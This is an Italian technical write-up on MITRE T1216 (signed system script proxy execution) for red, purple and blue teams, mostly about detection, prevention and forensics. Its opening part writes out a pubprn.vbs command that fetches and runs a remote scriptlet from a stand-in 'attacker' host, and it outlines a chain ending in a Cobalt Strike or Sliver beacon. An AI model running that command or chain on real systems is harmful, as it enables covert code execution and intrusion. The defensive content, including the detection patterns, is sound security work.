Esecuzione Proxy tramite Script di Sistema: System Script Proxy Execution (T1216)

In un contesto di red team autorizzato, la simulazione di T1216 si concentra su script firmati Microsoft che accettano input arbitrari e possono essere piegati all'esecuzione di codice esterno. Il caso storico più noto è pubprn.vbs, uno script legittimo per la pubblicazione di stampanti che accetta un URL come secondo argomento e istanzia un oggetto COM dal moniker fornito. La sintassi documentata è del tipo:

cscript.exe C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:https://attacker/payload.sct

dove il moniker script: forza l'esecuzione di uno Scriptlet remoto. In un lab isolato si può sostituire l'endpoint con un listener locale per verificare la catena di esecuzione senza esposizione esterna.

Altri vettori documentati nella famiglia LOLBAS includono l'abuso di SyncAppvPublishingServer.vbs per eseguire comandi PowerShell bypassando le policy, e l'uso di slmgr.vbs con opzioni non standard. La community mantiene il progetto LOLBAS Project (open source, GitHub) come catalogo di riferimento per binari, script e librerie firmate abusabili: ogni voce include il comando esatto, il caso d'uso e le eventuali mitigazioni. Per la ricognizione locale su un target durante un engagement, Sigcheck di Sysinternals (gratuito) permette di identificare tutti gli script firmati Microsoft presenti sul sistema con sigcheck.exe -e -s C:\Windows.

Sul fronte dell'orchestrazione, framework come Atomic Red Team (open source) di Red Canary includono test atomici specifici per T1216, con procedure ripetibili che permettono di validare la copertura EDR senza sviluppare payload custom. Il test T1216-1 lancia proprio pubprn.vbs con un moniker controllato, generando telemetria pulita per il tuning delle detection.

Durante l'esecuzione è utile combinare la tecnica con T1027 (Obfuscated Files) offuscando lo Scriptlet remoto, e con T1105 (Ingress Tool Transfer) per il fetch del secondo stadio. Nei purple team exercise, la sequenza tipica prevede l'esecuzione dello script firmato, il caricamento di uno Scriptlet che istanzia PowerShell in Constrained Language Mode bypass, e infine il download di un beacon Cobalt Strike o Sliver (open source) come payload finale. La verifica di successo si misura sulla capacità dell'EDR di correlare parent firmato con child unsigned nella stessa timeline.

La detection di T1216 si basa quasi interamente sull'analisi della process lineage e sulla transizione signed-to-unsigned nella catena padre-figlio. La detection MITRE DET0466 (AN1288) definisce con precisione il pattern: un processo padre firmato Microsoft come wscript.exe, cscript.exe o interpreti di script analoghi che genera figli non firmati o con command line sospette entro una finestra temporale ristretta.

Le fonti di log primarie sono Sysmon Event ID 1 (Process Create) e Windows Security Event 4688 con command line auditing attivo. Sysmon va configurato con una policy che includa i campi ParentImage, ParentCommandLine, Image, CommandLine e Hashes, e idealmente arricchito con la configurazione di SwiftOnSecurity o Olaf Hartong (entrambe open source) come baseline. Per PowerShell, l'attivazione di Script Block Logging (Event ID 4104) e Module Logging permette di catturare eventuali payload decodificati nella catena successiva allo script firmato.

Le regole di detection efficaci si articolano su quattro dimensioni tratte direttamente dal tuning MITRE. La prima è il ParentProcessName: monitorare esecuzioni di pubprn.vbs, installutil.exe, wscript.exe e cscript.exe con path completo, filtrando i casi legittimi noti dell'ambiente. La seconda è la TimeWindow: correlazioni entro 5-10 secondi tra l'avvio dello script firmato e la creazione del processo figlio riducono drasticamente i falsi positivi. La terza è la ChildCommandLineRegex: pattern come IEX, DownloadString, FromBase64String, -enc, http[s]?:// nelle command line dei figli. La quarta è la SignedToUnsignedTransition: il flag che marca la transizione da padre Microsoft-signed a figlio non firmato o firmato da CA sconosciuta.

Sul piano preventivo, la mitigazione M1038 (Execution Prevention) si traduce in policy AppLocker o WDAC che bloccano gli script firmati non necessari all'operatività. È buona pratica auditare quali script .vbs firmati Microsoft sono effettivamente usati in produzione tramite log storici e bloccare tutto il resto. In parallelo, forzare PowerShell Constrained Language Mode via policy per utenti non amministratori chiude il canale più comune di secondo stadio.

I falsi positivi principali provengono da script di deployment aziendali che usano legittimamente cscript.exe per orchestrare installazioni, da agent di gestione parco macchine e da soluzioni di stampa che invocano pubprn.vbs in ambienti con print server centralizzati. Il tuning richiede una fase di baseline di almeno due settimane per profilare l'attività lecita.

L'analisi forense di un incidente T1216 parte dalla ricostruzione della process tree al momento dell'esecuzione sospetta. Gli artefatti chiave si distribuiscono su più fonti Windows e richiedono un approccio timeline-oriented.

Sul filesystem, gli Prefetch files (*C:\Windows\Prefetch*) di WSCRIPT.EXE-{HASH}.pf e CSCRIPT.EXE-{HASH}.pf conservano il timestamp dell'ultima esecuzione, il conteggio delle esecuzioni e i file referenziati durante il caricamento. Strumenti come PECmd di Eric Zimmerman (open source) permettono di parsare i Prefetch e ricostruire quali script sono stati caricati insieme all'interprete. Il valore del campo Volume Information e la lista degli otto ultimi run offrono una finestra temporale utile per correlare con altri eventi.

Gli Event Log di Sysmon (canale Microsoft-Windows-Sysmon/Operational) contengono gli EID 1 con il dettaglio completo del processo, incluso ParentImage, IntegrityLevel e hash del binario. Il canale Microsoft-Windows-PowerShell/Operational con EID 4104 mostra il contenuto dei blocchi PowerShell eventualmente eseguiti come secondo stadio. Per estrarre e correlare questi eventi, EvtxECmd (open source) di Zimmerman produce output CSV facilmente importabili in Timeline Explorer.

Gli AppCompatCache (ShimCache) e Amcache.hve (C:\Windows\AppCompat\Programs\Amcache.hve) tracciano l'esecuzione di wscript.exe e cscript.exe con path, timestamp e SHA1 del binario. AmcacheParser (open source) estrae questi dati per correlarli alla timeline. L'hive NTUSER.DAT dell'utente coinvolto contiene chiavi UserAssist che registrano l'esecuzione di script da parte dell'utente, decodificando i nomi in ROT13.

Sul piano di rete, se il payload di secondo stadio è stato scaricato via HTTP/HTTPS dal moniker script:, i log del proxy aziendale o le catture NetFlow mostrano connessioni uscenti dai processi wscript.exe/cscript.exe verso IP esterni, tipicamente anomale per questi interpreti in ambienti enterprise. La correlazione con DNS logs (Event ID 3008 di Microsoft-Windows-DNS-Client/Operational) permette di identificare i domini contattati.

La timeline di incident response ricostruisce tipicamente questo flusso: consegna del vettore iniziale (documento Office, LNK, ZIP), esecuzione dello script firmato con argomenti sospetti, connessione di rete verso l'infrastruttura attaccante, download e istanziazione dello Scriptlet remoto, spawn di processi figli non firmati che avviano la fase post-exploitation. Ogni step lascia impronte su fonti diverse, e la ricostruzione completa richiede la fusione di process tree, network telemetry e artefatti registry in un'unica super-timeline, generabile con Plaso/log2timeline (open source).

I dati MITRE ATT&CK forniti per T1216 non associano gruppi APT, software o campagne specificamente documentati a questa tecnica, il che riflette una caratteristica peculiare del pattern: è un abilitatore trasversale, difficilmente attribuibile in isolamento perché tende a comparire come singolo step all'interno di catene più ampie di esecuzione LOLBAS. L'assenza di attribuzione formale non implica scarsa rilevanza, anzi: proprio la sua natura di tecnica ancillare la rende un componente ricorrente in operazioni di intrusione dove la priorità è mantenere basso il profilo di detection.

Dal punto di vista dell'analisi strategica, T1216 appartiene alla famiglia delle tecniche di living-off-the-land che negli ultimi anni ha visto una crescita significativa nell'adozione da parte sia di attori sponsorizzati da Stati sia di gruppi criminali motivati finanziariamente. Il vantaggio operativo è duplice: riduce il costo di sviluppo di malware custom e sposta la superficie di detection dai file al comportamento, terreno storicamente più difficile da presidiare per le organizzazioni con maturità SOC limitata.

La mancata attribuzione nei dati forniti suggerisce che gli analisti di threat intelligence dovrebbero trattare T1216 come un indicatore di supporto più che come un signature comportamentale primario. La sua presenza in una catena osservata contribuisce a costruire il profilo del sofisticato uso di risorse native Windows da parte di un attore, ma raramente permette di per sé un'attribuzione univoca. La correlazione con altre tecniche di Defense Evasion della stessa tattica TA0005, con Initial Access via phishing (T1566) e con C2 su canali cifrati, arricchisce la caratterizzazione del threat actor.

Sul piano dei trend, l'ecosistema difensivo ha risposto con l'evoluzione di WDAC e delle policy AppLocker in modalità enforcement, e con l'integrazione di detection comportamentali negli EDR che monitorano specificamente la transizione signed-to-unsigned. Questo ha spinto gli attaccanti a esplorare script firmati meno noti, alimentando la crescita del catalogo LOLBAS che oggi documenta oltre 190 binari e script abusabili.

Per un CTI officer, il valore di T1216 nella threat modeling risiede nella capacità di anticipare quali script firmati sono presenti nell'ambiente proprio e non strettamente necessari, per poi tradurre questa mappatura in policy di blocco proattivo. La produzione di hunting queries basate sui pattern di process lineage documentati in DET0466 permette di identificare tentativi in corso anche in assenza di IoC atomici, spostando la detection dal piano tattico a quello comportamentale.

MITRE ATT&CK: T1216 (System Script Proxy Execution), tattica TA0005 (Defense Evasion), mitigazione M1038 (Execution Prevention), detection DET0466 con analytic AN1288. Per gli aspetti operativi e forensi è stata integrata conoscenza professionale di cybersecurity relativa a tool open source (LOLBAS Project, Atomic Red Team, Sysinternals Sigcheck, Eric Zimmerman Tools, Plaso), configurazioni Sysmon community-maintained e pattern di detection consolidati nell'ecosistema Windows enterprise.